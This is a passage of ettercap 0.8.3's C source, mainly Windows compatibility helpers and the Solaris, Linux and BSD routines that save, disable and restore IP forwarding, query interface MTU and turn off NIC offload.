domain label */ #endif static int mklower (int ch) { if (isascii(ch) && isupper(ch)) return (tolower(ch)); return (ch); } /* * Search for expanded name from a list of previously compressed names. * Return the offset from msg if found or -1. * dnptrs is the pointer to the first name on the list, * not the pointer to the start of the message. */ static int dn_find (u_char *exp_dn, u_char *msg, u_char **dnptrs, u_char **lastdnptr) { u_char **cpp; for (cpp = dnptrs; cpp < lastdnptr; cpp++) { u_char *dn = exp_dn; u_char *sp = *cpp; u_char *cp = *cpp; int n; while ((n = *cp++) != 0) { /* * check for indirection */ switch (n & INDIR_MASK) { case 0: /* normal case, n == len */ while (--n >= 0) { if (*dn == '.') goto next; if (*dn == '\\') dn++; if (mklower(*dn++) != mklower(*cp++)) goto next; } if ((n = *dn++) == '\0' && *cp == '\0') return (sp - msg); if (n == '.') continue; goto next; case INDIR_MASK: /* indirection */ cp = msg + (((n & 0x3f) << 8) | *cp); break; default: /* illegal type */ return (-1); } } if (*dn == '\0') return (sp - msg); next: ; } return (-1); } int ec_win_dn_expand (const u_char *msg, const u_char *eom_orig, const u_char *comp_dn, char *exp_dn, int length) { const u_char *cp; char *dn, *eom; int c, n, len = -1, checked = 0; dn = exp_dn; cp = comp_dn; eom = exp_dn + length; /* Fetch next label in domain name */ while ((n = *cp++) != 0) { /* Check for indirection */ switch (n & INDIR_MASK) { case 0: if (dn != exp_dn) { if (dn >= eom) return (-1); *dn++ = '.'; } if (dn+n >= eom) return (-1); checked += n + 1; while (--n >= 0) { int c = *cp++; if ((c == '.') || (c == '\\')) { if (dn + n + 2 >= eom) return (-1); *dn++ = '\\'; } *dn++ = c; if (cp >= eom_orig) /* out of range */ return (-1); } break; case INDIR_MASK: if (len < 0) len = cp - comp_dn + 1; cp = msg + (((n & 0x3f) << 8) | (*cp & 0xff)); if (cp < msg || cp >= eom_orig) /* out of range */ return (-1); checked += 2; /* * Check for loops in the compressed name; * if we've looked at the whole message, * there must be a loop. */ if (checked >= eom_orig - msg) return (-1); break; default: return (-1); /* flag error */ } } *dn = '\0'; for (dn = exp_dn; (c = *dn) != '\0'; dn++) if (isascii(c) && isspace(c)) return (-1); if (len < 0) len = cp - comp_dn; return (len); } /* * Compress domain name 'exp_dn' into 'comp_dn'. * Return the size of the compressed name or -1. * 'length' is the size of the array pointed to by 'comp_dn'. * 'dnptrs' is a list of pointers to previous compressed names. dnptrs[0] * is a pointer to the beginning of the message. The list ends with NULL. * 'lastdnptr' is a pointer to the end of the arrary pointed to * by 'dnptrs'. Side effect is to update the list of pointers for * labels inserted into the message as we compress the name. * If 'dnptr' is NULL, we don't try to compress names. If 'lastdnptr' * is NULL, we don't update the list. */ int dn_comp (const char *exp_dn, u_char *comp_dn, int length, u_char **dnptrs, u_char **lastdnptr) { u_char *cp, *dn; u_char **cpp, **lpp, *eob; u_char *msg; u_char *sp = NULL; int c, l = 0; dn = (u_char *)exp_dn; cp = comp_dn; eob = cp + length; lpp = cpp = NULL; if (dnptrs) { msg = *dnptrs++; if (msg) { for (cpp = dnptrs; *cpp; cpp++) ; lpp = cpp; /* end of list to search */ } } else msg = NULL; for (c = *dn++; c != '\0'; ) { /* look to see if we can use pointers */ if (msg) { if ((l = dn_find (dn-1, msg, dnptrs, lpp)) >= 0) { if (cp+1 >= eob) return (-1); *cp++ = (l >> 8) | INDIR_MASK; *cp++ = l % 256; return (cp - comp_dn); } /* not found, save it */ if (lastdnptr && cpp < lastdnptr-1) { *cpp++ = cp; *cpp = NULL; } } sp = cp++; /* save ptr to length byte */ do { if (c == '.') { c = *dn++; break; } if (c == '\\') { if ((c = *dn++) == '\0') break; } if (cp >= eob) { if (msg) *lpp = NULL; return (-1); } *cp++ = c; } while ((c = *dn++) != '\0'); /* catch trailing '.'s but not '..' */ if ((l = cp - sp - 1) == 0 && c == '\0') { cp--; break; } if (l <= 0 || l > MAXLABEL) { if (msg) *lpp = NULL; return (-1); } *sp = l; } if (cp >= eob) { if (msg) *lpp = NULL; return (-1); } *cp++ = '\0'; return (cp - comp_dn); } /* * dlopen() emulation (should not be exported) */ static const char *last_func; static DWORD last_error; void *ec_win_dlopen (const char *dll_name, int flags _U_) { void *rc; last_func = "ec_win_dlopen"; rc = (void*) LoadLibrary (dll_name); if (rc) last_error = 0; else last_error = GetLastError(); return (rc); } void *ec_win_dlsym (const void *dll_handle, const char *func_name) { void *rc; last_func = "ec_win_dlsym"; rc = (void*) GetProcAddress ((HINSTANCE)dll_handle, func_name); if (rc) last_error = 0; else last_error = GetLastError(); return (rc); } void ec_win_dlclose (const void *dll_handle) { last_func = "ec_win_dlclose"; if (FreeLibrary((HMODULE)dll_handle)) last_error = 0; else last_error = GetLastError(); } const char *ec_win_dlerror (void) { static char errbuf[1024]; snprintf (errbuf, sizeof(errbuf)-1, "%s(): %s", last_func, ec_win_strerror(last_error)); return (errbuf); } /* * This function handles most / all (?) Winsock errors we're able to produce. */ #if !defined(USE_GETTEXT) #undef _ #define _(s) s #endif static char *get_winsock_error (int err, char *buf, size_t len) { char *p; switch (err) { case WSAEINTR: p = _("Call interrupted."); break; case WSAEBADF: p = _("Bad file"); break; case WSAEACCES: p = _("Bad access"); break; case WSAEFAULT: p = _("Bad argument"); break; case WSAEINVAL: p = _("Invalid arguments"); break; case WSAEMFILE: p = _("Out of file descriptors"); break; case WSAEWOULDBLOCK: p = _("Call would block"); break; case WSAEINPROGRESS: case WSAEALREADY: p = _("Blocking call progress"); break; case WSAENOTSOCK: p = _("Descriptor is not a socket."); break; case WSAEDESTADDRREQ: p = _("Need destination address"); break; case WSAEMSGSIZE: p = _("Bad message size"); break; case WSAEPROTOTYPE: p = _("Bad protocol"); break; case WSAENOPROTOOPT: p = _("Protocol option is unsupported"); break; case WSAEPROTONOSUPPORT: p = _("Protocol is unsupported"); break; case WSAESOCKTNOSUPPORT: p = _("Socket is unsupported"); break; case WSAEOPNOTSUPP: p = _("Operation not supported"); break; case WSAEAFNOSUPPORT: p = _("Address family not supported"); break; case WSAEPFNOSUPPORT: p = _("Protocol family not supported"); break; case WSAEADDRINUSE: p = _("Address already in use"); break; case WSAEADDRNOTAVAIL: p = _("Address not available"); break; case WSAENETDOWN: p = _("Network down"); break; case WSAENETUNREACH: p = _("Network unreachable"); break; case WSAENETRESET: p = _("Network has been reset"); break; case WSAECONNABORTED: p = _("Connection was aborted"); break; case WSAECONNRESET: p = _("Connection was reset"); break; case WSAENOBUFS: p = _("No buffer space"); break; case WSAEISCONN: p = _("Socket is already connected"); break; case WSAENOTCONN: p = _("Socket is not connected"); break; case WSAESHUTDOWN: p = _("Socket has been shut down"); break; case WSAETOOMANYREFS: p = _("Too many references"); break; case WSAETIMEDOUT: p = _("Timed out"); break; case WSAECONNREFUSED: p = _("Connection refused"); break; case WSAELOOP: p = _("Loop??"); break; case WSAENAMETOOLONG: p = _("Name too long"); break; case WSAEHOSTDOWN: p = _("Host down"); break; case WSAEHOSTUNREACH: p = _("Host unreachable"); break; case WSAENOTEMPTY: p = _("Not empty"); break; case WSAEPROCLIM: p = _("Process limit reached"); break; case WSAEUSERS: p = _("Too many users"); break; case WSAEDQUOT: p = _("Bad quota"); break; case WSAESTALE: p = _("Something is stale"); break; case WSAEREMOTE: p = _("Remote error"); break; case WSAEDISCON: p = _("Disconnected"); break; /* Extended Winsock errors */ case WSASYSNOTREADY: p = _("Winsock library is not ready"); break; case WSANOTINITIALISED: p = _("Winsock library not initalised"); break; case WSAVERNOTSUPPORTED: p = _("Winsock version not supported."); break; /* getXbyY() errors (already handled in herrmsg): Authoritative Answer: Host not found */ case WSAHOST_NOT_FOUND: p = _("Host not found"); break; /* Non-Authoritative: Host not found, or SERVERFAIL */ case WSATRY_AGAIN: p = _("Host not found, try again"); break; /* Non recoverable errors, FORMERR, REFUSED, NOTIMP */ case WSANO_RECOVERY: p = _("Unrecoverable error in call to nameserver"); break; /* Valid name, no data record of requested type */ case WSANO_DATA: p = _("No data record of requested type"); break; default: return NULL; } strncpy (buf, p, len); buf [len-1] = '\0'; return buf; } /* * A smarter strerror() */ #undef strerror char *ec_win_strerror (int err) { static char buf[512]; DWORD lang = MAKELANGID (LANG_NEUTRAL, SUBLANG_DEFAULT); DWORD flags = FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS | FORMAT_MESSAGE_MAX_WIDTH_MASK; char *p; if (err >= 0 && err < sys_nerr) { strncpy (buf, strerror(err), sizeof(buf)-1); buf [sizeof(buf)-1] = '\0'; } else { if (!get_winsock_error (err, buf, sizeof(buf)) && !FormatMessage (flags, NULL, err, lang, buf, sizeof(buf)-1, NULL)) snprintf (buf, 512, "Unknown error %d (%#x)", err, err); } /* strip trailing '\r\n' or '\n'. */ p = strrchr (buf, '\n'); if (p && (p - buf) >= 2) *p = '\0'; p = strrchr (buf, '\r'); if (p && (p - buf) >= 1) *p = '\0'; return (buf); } #if defined(HAVE_NCURSES) && !defined(BUILDING_UTILS) int vwprintw (WINDOW *win, const char *fmt, va_list args) { char buf[1024]; if (trace_on) PDC_debug ("vwprintw() - called\n"); _vsnprintf (buf, sizeof(buf), fmt, args); return wprintw (win, buf); } #endif /* HAVE_NCURSES && !BUILDING_UTILS */ static void pdc_ncurses_init (void) { #if defined(HAVE_NCURSES) && !defined(BUILDING_UTILS) const char *env = getenv ("CURSES_TRACE"); if (env && atoi(env) > 0) { traceon(); putenv ("NCURSES_TRACE=1"); } putenv ("PDC_RESTORE_SCREEN=1"); putenv ("PDC_PRESERVE_SCREEN=1"); #if 0 /* if stdout is redirected, initscr() fails with * "LINES value must be >= 2 and <= x: got y" */ if (isatty(fileno(stdout)) <= 0) { putenv ("COLS=2"); putenv ("LINES=2"); } #endif #endif } /* * Check if we're linked as a GUI app. */ static BOOL is_gui_app (void) { const IMAGE_DOS_HEADER *dos; const IMAGE_NT_HEADERS *nt; HMODULE mod = GetModuleHandle (NULL); dos = (const IMAGE_DOS_HEADER*) mod; nt = (const IMAGE_NT_HEADERS*) ((const BYTE*)mod + dos->e_lfanew); return (nt->OptionalHeader.Subsystem == IMAGE_SUBSYSTEM_WINDOWS_GUI); } /* * Check that we're linked as a GUI application. Depending on how * we where started, we create or attach to parent console before * using printf() etc. If using GTK interface (option "-G"), don't * create a console. */ static void setup_console (void) { #if !defined(BUILDING_UTILS) BOOL (WINAPI *_AttachConsole)(DWORD) = NULL; HMODULE mod; DWORD rc = 0; STARTUPINFO inf; const char *cmd_line = GetCommandLine(); BOOL is_ec = (cmd_line && strstr(cmd_line,"ettercap")); BOOL use_gtk = (is_ec && strstr(cmd_line,"-G") != NULL); if (!is_ec || use_gtk) /* GTK UI shouldn't need a console */ return; /* Note: this is true even when started minimized * (nCmdShow == SW_MINIMISED), but fails if program started as * another user */ memset (&inf, 0, sizeof(inf)); GetStartupInfo (&inf); started_from_a_gui = (inf.dwFlags & STARTF_USESHOWWINDOW); /* check if correct linker option used */ if (!is_gui_app()) { MessageBox (NULL, "You must relink this application with\n" "\"-Wl,--subsystem,windows\"\n", "Error", MB_ICONEXCLAMATION | MB_SETFOREGROUND); exit (-1); } mod = GetModuleHandle ("kernel32.dll"); if (mod) _AttachConsole = (BOOL (WINAPI*)(DWORD)) GetProcAddress((HINSTANCE)mod, "AttachConsole"); attached_to_console = FALSE; /* If parent doesn't have a console, AttachConsole() will fail and * we use AllocConsole() instead. * Note: AttachConsole() was introduced in Win-2000, so for Win-ME/9x, * we simply try AllocConsole(). */ if (_AttachConsole) { if ((*_AttachConsole)(ATTACH_PARENT_PROCESS)) attached_to_console = TRUE; else rc = GetLastError(); } if (!attached_to_console && !AllocConsole()) { char error[256]; snprintf (error, 256, "AllocConsole failed; error %lu", GetLastError()); MessageBox (NULL, error, "Fatal", MB_ICONEXCLAMATION | MB_SETFOREGROUND); exit (-1); } /* Synchronise std-handles with the new console */ freopen ("CONIN$", "rt", stdin); freopen ("CONOUT$", "wt", stdout); freopen ("CONOUT$", "wt", stderr); #if 0 printf ("_AttachConsole %p, rc %lu, started_from_a_gui %d, attached_to_console %d\n", _AttachConsole, rc, started_from_a_gui, attached_to_console); #endif has_console = TRUE; #endif /* BUILDING_UTILS */ } static void __attribute__((destructor)) exit_console (void) { #if !defined(BUILDING_UTILS) if (!has_console) return; if (started_from_a_gui || !attached_to_console) { puts("\nPress any key to exit"); _getch(); } else { /* * The calling shell doesn't append a to the cmd-line when we exit a * GUI app. Get the prompt back by putting a in the console input queue. */ HANDLE hStdin = GetStdHandle(STD_INPUT_HANDLE); if (!started_from_a_gui && hStdin != INVALID_HANDLE_VALUE) { INPUT_RECORD rec; DWORD written; memset (&rec, 0, sizeof(rec)); rec.EventType = KEY_EVENT; rec.Event.KeyEvent.bKeyDown = TRUE; rec.Event.KeyEvent.wRepeatCount = 1; rec.Event.KeyEvent.wVirtualKeyCode = 13; rec.Event.KeyEvent.uChar.AsciiChar = 13; WriteConsoleInput(hStdin, &rec, 1, &written); } } FreeConsole(); /* free allocated or attached console */ has_console = FALSE; #endif } /* EOF */ ettercap-0.8.3/src/os/ec_solaris.c0000644000175000017500000001343013505247364016674 0ustar koeppeakoeppea/* ettercap -- solaris specific functions This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #include #include #include static char saved_status[2]; #ifdef WITH_IPv6 static char saved_status_v6[2]; #endif /* open it with high privs and use it later */ static int fd; /*******************************************/ void disable_ip_forward(void) { struct strioctl strIo; char buf[65536]; char *cp; cp = "ip_forwarding"; memset(buf, '\0', sizeof(buf)); snprintf(buf, 13, "%s", cp); if ((fd = open("/dev/ip", O_RDWR)) < 0) ERROR_MSG("open failed for /dev/ip"); strIo.ic_cmd = ND_GET; strIo.ic_timout = 0; strIo.ic_len = sizeof(buf); strIo.ic_dp = buf; /* Call IOCTL to return status */ if ( (ioctl(fd, I_STR, (char *)&strIo)) == -1 ) ERROR_MSG("ioctl(I_STR)"); if (strIo.ic_cmd == ND_GET) { strncpy(saved_status, buf, 2); } DEBUG_MSG("disable_ip_forward -- previous value = %s", saved_status); memset(buf, '\0', sizeof(buf)); snprintf(buf, 13, "%s", cp); /* the format is "element"\0"value"\0 */ buf[strlen(buf) + 1] = '0'; strIo.ic_cmd = ND_SET; strIo.ic_timout = 0; strIo.ic_len = sizeof(buf); strIo.ic_dp = buf; if ( (ioctl(fd, I_STR, (char *)&strIo)) == -1 ) ERROR_MSG("ioctl(I_STR)"); DEBUG_MSG("Inet_DisableForwarding -- NEW value = 0"); atexit(restore_ip_forward); atexit(regain_privs_atexit); } void restore_ip_forward(void) { struct strioctl strIo; char buf[65536]; char *cp; /* no need to restore anything */ if (saved_status[0] == '0') return; cp = "ip_forwarding"; memset(buf, '\0', sizeof(buf)); snprintf(buf, 13, "%s", cp); /* the format is "element"\0"value"\0 */ snprintf(buf + strlen(buf)+1, 2, "%s", saved_status); DEBUG_MSG("ATEXIT: restore_ip_forward -- restoring to value = %s", saved_status); strIo.ic_cmd = ND_SET; strIo.ic_timout = 0; strIo.ic_len = sizeof(buf); strIo.ic_dp = buf; /* Call IOCTL to set the status */ if ( (ioctl(fd, I_STR, (char *)&strIo)) == -1 ) FATAL_ERROR("Please restore manually the ip_forwarding value to %s", saved_status); close(fd); } #ifdef WITH_IPV6 void disable_ipv6_forward(void) { struct strioctl strIo; char buf[65536]; char *cp; cp = "ip6_forwarding"; memset(buf, '\0', sizeof(buf)); snprintf(buf, 14, "%s", cp); if ((fd = open("/dev/ip", O_RDWR)) < 0) ERROR_MSG("open failed for /dev/ip"); strIo.ic_cmd = ND_GET; strIo.ic_timout = 0; strIo.ic_len = sizeof(buf); strIo.ic_dp = buf; /* Call IOCTL to return status */ if ( (ioctl(fd, I_STR, (char *)&strIo)) == -1 ) ERROR_MSG("ioctl(I_STR)"); if (strIo.ic_cmd == ND_GET) { strncpy(saved_status_v6, buf, 2); } DEBUG_MSG("disable_ipv6_forward -- previous value = %s", saved_status_v6); memset(buf, '\0', sizeof(buf)); snprintf(buf, 14, "%s", cp); /* the format is "element"\0"value"\0 */ buf[strlen(buf) + 1] = '0'; strIo.ic_cmd = ND_SET; strIo.ic_timout = 0; strIo.ic_len = sizeof(buf); strIo.ic_dp = buf; if ( (ioctl(fd, I_STR, (char *)&strIo)) == -1 ) ERROR_MSG("ioctl(I_STR)"); DEBUG_MSG("Inet6_DisableForwarding -- NEW value = 0"); atexit(restore_ipv6_forward); } void restore_ipv6_forward(void) { struct strioctl strIo; char buf[65536]; char *cp; /* no need to restore anything */ if (saved_status_v6[0] == '0') return; cp = "ip6_forwarding"; memset(buf, '\0', sizeof(buf)); snprintf(buf, 14, "%s", cp); /* the format is "element"\0"value"\0 */ snprintf(buf + strlen(buf)+1, 2, "%s", saved_status_v6); DEBUG_MSG("ATEXIT: restore_ipv6_forward -- restoring to value = %s", saved_status_v6); strIo.ic_cmd = ND_SET; strIo.ic_timout = 0; strIo.ic_len = sizeof(buf); strIo.ic_dp = buf; /* Call IOCTL to set the status */ if ( (ioctl(fd, I_STR, (char *)&strIo)) == -1 ) FATAL_ERROR("Please restore manually the ip6_forwarding value to %s", saved_status_v6); close(fd); } #endif /* * get the MTU parameter from the interface */ u_int16 get_iface_mtu(const char *iface) { int sock, mtu; struct ifreq ifr; #if !defined(ifr_mtu) && defined(ifr_metric) #define ifr_mtu ifr_metric #endif /* open the socket to work on */ sock = socket(PF_INET, SOCK_DGRAM, 0); if (sock == -1) FATAL_ERROR("Unable to open socket on interface for MTU query\n"); memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, iface, sizeof(ifr.ifr_name)); /* get the MTU */ if ( ioctl(sock, SIOCGIFMTU, &ifr) < 0) { DEBUG_MSG("get_iface_mtu: MTU FAILED... assuming 1500"); mtu = 1500; } else { DEBUG_MSG("get_iface_mtu: %d", ifr.ifr_mtu); mtu = ifr.ifr_mtu; } close(sock); return mtu; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/os/ec_linux.c0000644000175000017500000002361113505247364016361 0ustar koeppeakoeppea/* ettercap -- linux specific functions This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include /* the old value */ static char saved_status; #ifdef WITH_IPV6 static char saved_status_v6_global, saved_status_v6_iface; #endif /* protos */ /*******************************************/ void disable_ip_forward(void) { FILE *fd; fd = fopen("/proc/sys/net/ipv4/ip_forward", "r"); ON_ERROR(fd, NULL, "failed to open /proc/sys/net/ipv4/ip_forward"); fscanf(fd, "%c", &saved_status); fclose(fd); DEBUG_MSG("disable_ip_forward: old value = %c", saved_status); fd = fopen("/proc/sys/net/ipv4/ip_forward", "w"); ON_ERROR(fd, NULL, "failed to open /proc/sys/net/ipv4/ip_forward"); fprintf(fd, "0"); fclose(fd); atexit(restore_ip_forward); atexit(regain_privs_atexit); } void restore_ip_forward(void) { FILE *fd; char current_status; /* no modification needed */ if (saved_status == '0') return; if (getuid()) { DEBUG_MSG("ATEXIT: restore_ip_forward: cannot restore ip_forward " "since the privileges have been dropped to non root\n"); FATAL_ERROR("ip_forwarding was disabled, but we cannot re-enable it now.\n" "remember to re-enable it manually\n"); return; } fd = fopen("/proc/sys/net/ipv4/ip_forward", "r"); ON_ERROR(fd, NULL, "failed to open /proc/sys/net/ipv4/ip_forward"); fscanf(fd, "%c", ¤t_status); fclose(fd); DEBUG_MSG("ATEXIT: restore_ip_forward: curr: %c saved: %c", current_status, saved_status); if (current_status == saved_status) { DEBUG_MSG("ATEXIT: restore_ip_forward: does not need restoration"); return; } fd = fopen("/proc/sys/net/ipv4/ip_forward", "w"); if (fd == NULL) { FATAL_ERROR("ip_forwarding was disabled, but we cannot re-enable it now.\n" "remember to re-enable it manually\n"); return; } fprintf(fd, "%c", saved_status); fclose(fd); DEBUG_MSG("ATEXIT: restore_ip_forward: restore to %c", saved_status); } #ifdef WITH_IPV6 void disable_ipv6_forward(void) { FILE *fd; char fpath_global[] = "/proc/sys/net/ipv6/conf/all/forwarding"; char fpath_iface[64]; /* global configuration */ fd = fopen(fpath_global, "r"); ON_ERROR(fd, NULL, "failed to open %s", fpath_global); fscanf(fd, "%c", &saved_status_v6_global); fclose(fd); /* interface specific configuration */ snprintf(fpath_iface, 63, "/proc/sys/net/ipv6/conf/%s/forwarding", EC_GBL_OPTIONS->iface); fd = fopen(fpath_iface, "r"); ON_ERROR(fd, NULL, "failed to open %s", fpath_iface); fscanf(fd, "%c", &saved_status_v6_iface); fclose(fd); fd = fopen(fpath_global, "w"); ON_ERROR(fd, NULL, "failed to open %s", fpath_global); fprintf(fd, "0"); fclose(fd); fd = fopen(fpath_iface, "w"); ON_ERROR(fd, NULL, "failed to open %s", fpath_iface); fprintf(fd, "0"); fclose(fd); DEBUG_MSG("disable_ipv6_forward: old value = %c/%c (global/interface %s)", saved_status_v6_global, saved_status_v6_iface, EC_GBL_OPTIONS->iface); atexit(restore_ipv6_forward); } void restore_ipv6_forward(void) { FILE *fd; char current_status_global, current_status_iface; char fpath_global[] = "/proc/sys/net/ipv6/conf/all/forwarding"; char fpath_iface[64]; /* no modification needed */ if (saved_status_v6_global == '0' && saved_status_v6_iface == '0') return; if (getuid()) { DEBUG_MSG("ATEXIT: restore_ipv6_forward: cannot restore ipv6_forward " "since the privileges have been dropped to non root\n"); FATAL_ERROR("ipv6_forwarding was disabled, but we cannot re-enable it now.\n" "remember to re-enable it manually\n"); return; } /* global configuration */ fd = fopen(fpath_global, "r"); ON_ERROR(fd, NULL, "failed to open %s", fpath_global); fscanf(fd, "%c", ¤t_status_global); fclose(fd); /* interface specific configuration */ snprintf(fpath_iface, 63, "/proc/sys/net/ipv6/conf/%s/forwarding", EC_GBL_OPTIONS->iface); fd = fopen(fpath_iface, "r"); ON_ERROR(fd, NULL, "failed to open %s", fpath_iface); fscanf(fd, "%c", ¤t_status_iface); fclose(fd); DEBUG_MSG("ATEXIT: restore_ipv6_forward: curr: %c/%c saved: %c/%c (global/interface %s)", current_status_global, current_status_iface, saved_status_v6_global, saved_status_v6_iface, EC_GBL_OPTIONS->iface); if (current_status_global == saved_status_v6_global && current_status_iface == saved_status_v6_iface) { DEBUG_MSG("ATEXIT: restore_ipv6_forward: does not need restoration"); return; } /* write back global configuration */ if ((fd = fopen(fpath_global, "w")) != NULL) { fprintf(fd, "%c", saved_status_v6_global); fclose(fd); DEBUG_MSG("ATEXIT: restore_ipv6_forward: restore global to %c", saved_status_v6_global); } else { FATAL_ERROR("global ipv6_forwarding was disabled, but we cannot re-enable it now.\n" "remember to re-enable it manually\n"); } /* write back interface specific configuration */ if ((fd = fopen(fpath_iface, "w")) != NULL) { fprintf(fd, "%c", saved_status_v6_iface); fclose(fd); DEBUG_MSG("ATEXIT: restore_ipv6_forward: restore %s to %c", EC_GBL_OPTIONS->iface, saved_status_v6_iface); } else { FATAL_ERROR("interface ipv6_forwarding was disabled, but we cannot re-enable it now.\n" "remember to re-enable it manually\n"); } } #endif /* * get the MTU parameter from the interface */ u_int16 get_iface_mtu(const char *iface) { int sock, mtu; struct ifreq ifr; /* open the socket to work on */ sock = socket(PF_INET, SOCK_DGRAM, 0); if (sock == -1) /* unable to bind to socket, kaboom */ FATAL_ERROR("Unable to open socket on interface for MTU query\n"); memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, iface, sizeof(ifr.ifr_name)); /* get the MTU */ if ( ioctl(sock, SIOCGIFMTU, &ifr) < 0) { DEBUG_MSG("get_iface_mtu: MTU FAILED... assuming 1500"); mtu = 1500; } else { DEBUG_MSG("get_iface_mtu: %d", ifr.ifr_mtu); mtu = ifr.ifr_mtu; } close(sock); return mtu; } /* * disable segmentation offload on interface * this prevents L3 send errors (payload too large) */ void disable_interface_offload(void) { int param_length= 0; char *command; char **param = NULL; char *p; int ret_val, i = 0; SAFE_CALLOC(command, 100, sizeof(char)); BUG_IF(command==NULL); memset(command, '\0', 100); snprintf(command, 99, "ethtool -K %s tso off gso off gro off lro off", EC_GBL_OPTIONS->iface); DEBUG_MSG("disable_interface_offload: Disabling offload on %s", EC_GBL_OPTIONS->iface); for(p = strsep(&command, " "); p != NULL; p = strsep(&command, " ")) { SAFE_REALLOC(param, (i+1) * sizeof(char *)); param[i++] = strdup(p); } SAFE_REALLOC(param, (i+1) * sizeof(char *)); param[i] = NULL; param_length= i + 1; //because there is a SAFE_REALLOC after the for. switch(fork()) { case 0: #ifndef DEBUG /* don't print on console if the ethtool cannot disable some offloads unless you are in debug mode */ close(2); #endif execvp(param[0], param); WARN_MSG("cannot disable offload on %s, do you have ethtool installed?", EC_GBL_OPTIONS->iface); safe_free_mem(param, ¶m_length, command); _exit(-E_INVALID); case -1: safe_free_mem(param, ¶m_length, command); break; default: safe_free_mem(param, ¶m_length, command); wait(&ret_val); } } #ifdef WITH_IPV6 /* * if privacy extension for IPv6 is enabled, under certain * circumstances, an IPv6 socket can not be written exiting with * code -1 bytes written (Cannot assign requested address). * see pull request #245.(https://github.com/Ettercap/ettercap/pull/245) * * this usually happens after returning from hibernation * therefore we should warn users. * * however investigation of the root cause continues but as long as * it isn't identified and fixed, this function is being kept. */ void check_tempaddr(const char *iface) { FILE *fd; int mode_global, mode_iface; char fpath_global[] = "/proc/sys/net/ipv6/conf/all/use_tempaddr"; char fpath_iface[64]; snprintf(fpath_iface, 63, "/proc/sys/net/ipv6/conf/%s/use_tempaddr", iface); fd = fopen(fpath_global, "r"); ON_ERROR(fd, NULL, "failed to open %s", fpath_global); mode_global = fgetc(fd); ON_ERROR(mode_global, EOF, "failed to read value from %s", fpath_global); fclose(fd); DEBUG_MSG("check_tempaddr: %s = %c", fpath_global, mode_global); fd = fopen(fpath_iface, "r"); ON_ERROR(fd, NULL, "failed to open %s", fpath_iface); mode_iface = fgetc(fd); ON_ERROR(mode_iface, EOF, "failed to read value from %s", fpath_iface); fclose(fd); DEBUG_MSG("check_tempaddr: %s = %c", fpath_iface, mode_iface); if (mode_global != '0') USER_MSG("Ettercap might not work correctly. %s is not set to 0.\n", fpath_global); if (mode_iface != '0') USER_MSG("Ettercap might not work correctly. %s is not set to 0.\n", fpath_iface); } #endif /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/os/ec_bsd.c0000644000175000017500000000763413505247364016001 0ustar koeppeakoeppea/* ettercap -- bsd specific functions This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. $Id$ */ #include #include #include #include #include #include static int saved_status; #ifdef WITH_IPV6 static int saved_status_v6; #endif /*******************************************/ void disable_ip_forward(void) { int mib[4]; int val = 0; size_t len; mib[0] = CTL_NET; mib[1] = PF_INET; mib[2] = IPPROTO_IP; mib[3] = IPCTL_FORWARDING; len = sizeof(saved_status); if( (sysctl(mib, 4, &saved_status, &len, &val, sizeof(val))) == -1) ERROR_MSG("sysctl() | net.inet.ip.forwarding"); DEBUG_MSG("disable_ip_forward | net.inet.ip.forwarding = %d old_value = %d\n", val, saved_status); atexit(restore_ip_forward); atexit(regain_privs_atexit); } void restore_ip_forward(void) { int mib[4]; mib[0] = CTL_NET; mib[1] = PF_INET; mib[2] = IPPROTO_IP; mib[3] = IPCTL_FORWARDING; /* no need to restore anything */ if (saved_status == 0) return; /* restore the old value */ if( (sysctl(mib, 4, NULL, NULL, &saved_status, sizeof(saved_status))) == -1) FATAL_ERROR("Please restore manually the value of net.inet.ip.forwarding to %d", saved_status); DEBUG_MSG("ATEXIT: restore_ip_forward | net.inet.ip.forwarding = %d\n", saved_status); } #ifdef WITH_IPV6 void disable_ipv6_forward(void) { int mib[4]; int val = 0; size_t len; mib[0] = CTL_NET; mib[1] = PF_INET6; mib[2] = IPPROTO_IPV6; mib[3] = IPV6CTL_FORWARDING; len = sizeof(saved_status_v6); if( (sysctl(mib, 4, &saved_status_v6, &len, &val, sizeof(val))) == -1) ERROR_MSG("sysctl() | net.inet6.ip6.forwarding"); DEBUG_MSG("disable_ipv6_forward | net.inet6.ip6.forwarding = %d old_value = %d\n", val, saved_status_v6); atexit(restore_ipv6_forward); } void restore_ipv6_forward(void) { int mib[4]; mib[0] = CTL_NET; mib[1] = PF_INET6; mib[2] = IPPROTO_IPV6; mib[3] = IPV6CTL_FORWARDING; /* no need to restore anything */ if (saved_status_v6 == 0) return; /* restore the old value */ if( (sysctl(mib, 4, NULL, NULL, &saved_status_v6, sizeof(saved_status_v6))) == -1) FATAL_ERROR("Please restore manually the value of net.inet6.ip6.forwarding to %d", saved_status_v6); DEBUG_MSG("ATEXIT: restore_ipv6_forward | net.inet6.ip6.forwarding = %d\n", saved_status_v6); } #endif /* * get the MTU parameter from the interface */ u_int16 get_iface_mtu(const char *iface) { int sock, mtu; struct ifreq 